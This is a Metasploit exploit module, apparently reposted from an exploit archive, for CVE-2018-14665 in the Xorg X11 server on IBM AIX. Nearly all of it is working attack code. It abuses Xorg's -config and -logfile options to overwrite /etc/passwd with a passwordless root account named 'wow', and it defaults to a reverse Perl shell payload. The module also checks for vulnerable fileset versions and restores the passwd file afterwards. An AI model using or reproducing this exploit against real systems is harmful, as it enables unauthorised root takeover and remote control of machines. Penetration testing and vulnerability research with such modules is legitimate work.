Xorg X11 Server Local Privilege Escalation Exploit
Kod:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Xorg X11 Server Local Privilege Escalation',
'Description' => %q(
WARNING: Successful execution of this module results in /etc/passwd being overwritten.
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
Due to permission restrictions of the crontab in AIX, this module does not use cron,
and instead overwrites /etc/passwd in order to create a new user with root privileges.
All currently logged in users need to be included when /etc/passwd is overwritten,
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
overwriting /etc/passwd.
),
'Author' =>
[
'Narendra Shinde', # Discovery and original FreeBSD exploit
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 25 2018',
'Notes' =>
{
'SideEffects' => [ CONFIG_CHANGES ]
},
'References' =>
[
['CVE', '2018-14665'],
['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],
['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],
['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],
['EDB', '45938']
],
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'SessionTypes' => ['shell'],
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl'
}
},
'DefaultOptions' => {
'Payload' => 'cmd/unix/reverse_perl'
},
'Targets' =>
[
['IBM AIX Version 6.1', {}],
['IBM AIX Version 7.1', {}],
['IBM AIX Version 7.2', {}]
],
'DefaultTarget' => 1))
register_options(
[
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
)
end
def check
xorg_path = cmd_exec('command -v Xorg')
if !xorg_path.include?('Xorg')
print_error('Could not find Xorg executable')
return Exploit::CheckCode::Safe
end
ksh93_path = cmd_exec('command -v ksh93')
if !ksh93_path.include?('ksh')
print_error('Could not find Ksh93 executable')
return Exploit::CheckCode::Safe
end
if !xorg_vulnerable?
print_error('Xorg version is not vulnerable')
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
def exploit
status = check
if status == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, '')
end
if !writable?(datastore['WritableDir'])
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
end
xorg_path = cmd_exec('command -v Xorg')
ksh93_path = cmd_exec('command -v ksh93')
xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
upload_and_chmodx(xorg_script_path, xorg_payload)
passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
print_status("Backing up /etc/passwd to #{passwd_backup}")
cmd_exec("cp /etc/passwd #{passwd_backup}")
register_file_for_cleanup(passwd_backup)
print_status("Executing #{xorg_script_path}")
cmd_exec(xorg_script_path)
print_status('Checking if we are root')
if root?
shell_payload = %(#!#{ksh93_path}
#{payload.encoded}
)
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
upload_and_chmodx(shell_script_path, shell_payload)
print_status('Executing shell payload')
cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")
print_status('Restoring original /etc/passwd')
cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
else
fail_with(Failure::PayloadFailed, '')
end
end
def generate_xorg_payload(xorg_path, ksh93_path, writabledir)
passwd_file = read_file('/etc/passwd')
passwd_array = passwd_file.split("\n")
print_status('Retrieving currently logged in users')
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
users << "\n"
users_array = users.split("\n")
logged_in_users = ''
if !users_array.empty?
users_array.each do |user|
user << ':'
passwd_array.each do |line|
if line.index(user) == 0
logged_in_users << '\n'
logged_in_users << line
end
end
end
end
passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"
subdir_count = writabledir.count('/')
relative_passwd = '../' * subdir_count + '../../etc/passwd'
return %(#!#{ksh93_path}
#{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1
)
end
def xorg_vulnerable?
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
print_status("Xorg version is #{version}")
semantic_version = Gem::Version.new(version)
vulnerable_versions = [
['6.1.9.0', '6.1.9.100'],
['7.1.4.0', '7.1.4.30'],
['7.1.5.0', '7.1.5.31'],
['7.2.0.0', '7.2.0.1'],
['7.2.1.0', '7.2.1.0'],
['7.2.2.0', '7.2.2.0'],
['7.2.3.0', '7.2.3.15']
]
vulnerable_versions.each do |version_pair|
if semantic_version >= Gem::Version.new(version_pair[0]) &&
semantic_version <= Gem::Version.new(version_pair[1])
return true
end
end
return false
end
def root?
id_output = cmd_exec('su - wow -c "id"')
if id_output.include?('euid=0') || id_output.include?('uid=0')
print_good('Got root!')
return true
end
print_error('Not root')
false
end
def upload_and_chmodx(path, data)
print_status("Writing to #{path}")
rm_f(path)
write_file(path, data)
cmd_exec("chmod 0555 '#{path}'")
register_file_for_cleanup(path)
end
end
# 0day.today [2019-11-24] #